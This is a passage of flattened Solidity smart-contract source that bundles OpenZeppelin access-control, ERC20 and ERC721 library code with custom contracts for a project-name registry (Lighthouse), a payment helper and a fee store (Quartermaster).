newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // File @openzeppelin/contracts/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/utils/introspection/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/utils/introspection/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File @openzeppelin/contracts/access/[email protected] // OpenZeppelin Contracts (last updated v4.6.0) (access/AccessControl.sol) pragma solidity ^0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view virtual override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `_msgSender()` is missing `role`. * Overriding this function changes the behavior of the {onlyRole} modifier. * * Format of the revert message is described in {_checkRole}. * * _Available since v4.6._ */ function _checkRole(bytes32 role) internal view virtual { _checkRole(role, _msgSender()); } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view virtual { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // File contracts/lighthouse.sol // author: yoyoismee.eth -- it's opensource but also feel free to send me coffee/beer. // ╔═╗┌─┐┌─┐┌─┐┌┬┐┌┐ ┌─┐┌─┐┌┬┐┌─┐┌┬┐┬ ┬┌┬┐┬┌─┐ // ╚═╗├─┘├┤ ├┤ ││├┴┐│ │├─┤ │ └─┐ │ │ │ ││││ │ // ╚═╝┴ └─┘└─┘─┴┘└─┘└─┘┴ ┴ ┴o└─┘ ┴ └─┘─┴┘┴└─┘ pragma solidity 0.8.13; contract Lighthouse is AccessControl { bytes32 public constant DEPLOYER_ROLE = keccak256("DEPLOYER"); string public constant MODEL = "SBII-Lighthouse-test"; event newContract(address ad, string name, string contractType); mapping(string => mapping(string => address)) public projectAddress; mapping(string => address) public nameOwner; mapping(address => string[]) private registeredProject; constructor() { _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); } function listRegistered(address wallet) public view returns (string[] memory) { return registeredProject[wallet]; } function registerContract( string memory name, address target, string memory contractType, address requester ) public onlyRole(DEPLOYER_ROLE) { if (nameOwner[name] == address(0)) { nameOwner[name] = requester; registeredProject[requester].push(name); } else { require(nameOwner[name] == requester, "taken"); } require(projectAddress[name][contractType] == address(0), "taken"); projectAddress[name][contractType] = target; emit newContract(target, name, contractType); } function giveUpContract(string memory name, string memory contractType) public { require(nameOwner[name] == msg.sender, "not your name"); projectAddress[name][contractType] = address(0); } function giveUpName(string memory name) public { require(nameOwner[name] == msg.sender, "not your name"); nameOwner[name] = address(0); } function yeetContract(string memory name, string memory contractType) public onlyRole(DEFAULT_ADMIN_ROLE) { projectAddress[name][contractType] = address(0); } function yeetName(string memory name) public onlyRole(DEFAULT_ADMIN_ROLE) { nameOwner[name] = address(0); } } // File @openzeppelin/contracts/token/ERC20/[email protected] // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); } // File @openzeppelin/contracts/token/ERC20/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File contracts/paymentUtil.sol // author: yoyoismee.eth -- it's opensource but also feel free to send me coffee/beer. // ╔═╗┌─┐┌─┐┌─┐┌┬┐┌┐ ┌─┐┌─┐┌┬┐┌─┐┌┬┐┬ ┬┌┬┐┬┌─┐ // ╚═╗├─┘├┤ ├┤ ││├┴┐│ │├─┤ │ └─┐ │ │ │ ││││ │ // ╚═╝┴ └─┘└─┘─┴┘└─┘└─┘┴ ┴ ┴o└─┘ ┴ └─┘─┴┘┴└─┘ pragma solidity 0.8.13; library paymentUtil { using SafeERC20 for IERC20; function processPayment(address token, uint256 amount) public { if (token == address(0)) { require(msg.value >= amount, "invalid payment"); } else { IERC20(token).safeTransferFrom(msg.sender, address(this), amount); } } } // File contracts/quartermaster.sol // author: yoyoismee.eth -- it's opensource but also feel free to send me coffee/beer. // ╔═╗┌─┐┌─┐┌─┐┌┬┐┌┐ ┌─┐┌─┐┌┬┐┌─┐┌┬┐┬ ┬┌┬┐┬┌─┐ // ╚═╗├─┘├┤ ├┤ ││├┴┐│ │├─┤ │ └─┐ │ │ │ ││││ │ // ╚═╝┴ └─┘└─┘─┴┘└─┘└─┘┴ ┴ ┴o└─┘ ┴ └─┘─┴┘┴└─┘ pragma solidity 0.8.13; contract Quartermaster is AccessControl { bytes32 public constant QUATERMASTER_ROLE = keccak256("QUATERMASTER"); string public constant MODEL = "SBII-Quartermaster-test"; struct Fees { uint128 onetime; uint128 bip; address token; } event updateFees(uint128 onetime, uint128 bip, address token); mapping(bytes32 => Fees) serviceFees; constructor() { _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(QUATERMASTER_ROLE, msg.sender); } function setFees( string memory key, uint128 _onetime, uint128 _bip, address _token ) public onlyRole(QUATERMASTER_ROLE) { serviceFees[keccak256(abi.encode(key))] = Fees({ onetime: _onetime, bip: _bip, token: _token }); emit updateFees(_onetime, _bip, _token); } function getFees(string memory key) public view returns (Fees memory) { return serviceFees[keccak256(abi.encode(key))]; } } // File @openzeppelin/contracts-upgradeable/token/ERC721/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File @openzeppelin/contracts-upgradeable/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts-upgradeable/token/ERC721/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing { __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[44] private __gap; } // File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721EnumerableUpgradeable is IERC721Upgradeable { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable { function __ERC721Enumerable_init() internal onlyInitializing { } function __ERC721Enumerable_init_unchained() internal onlyInitializing { } // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // 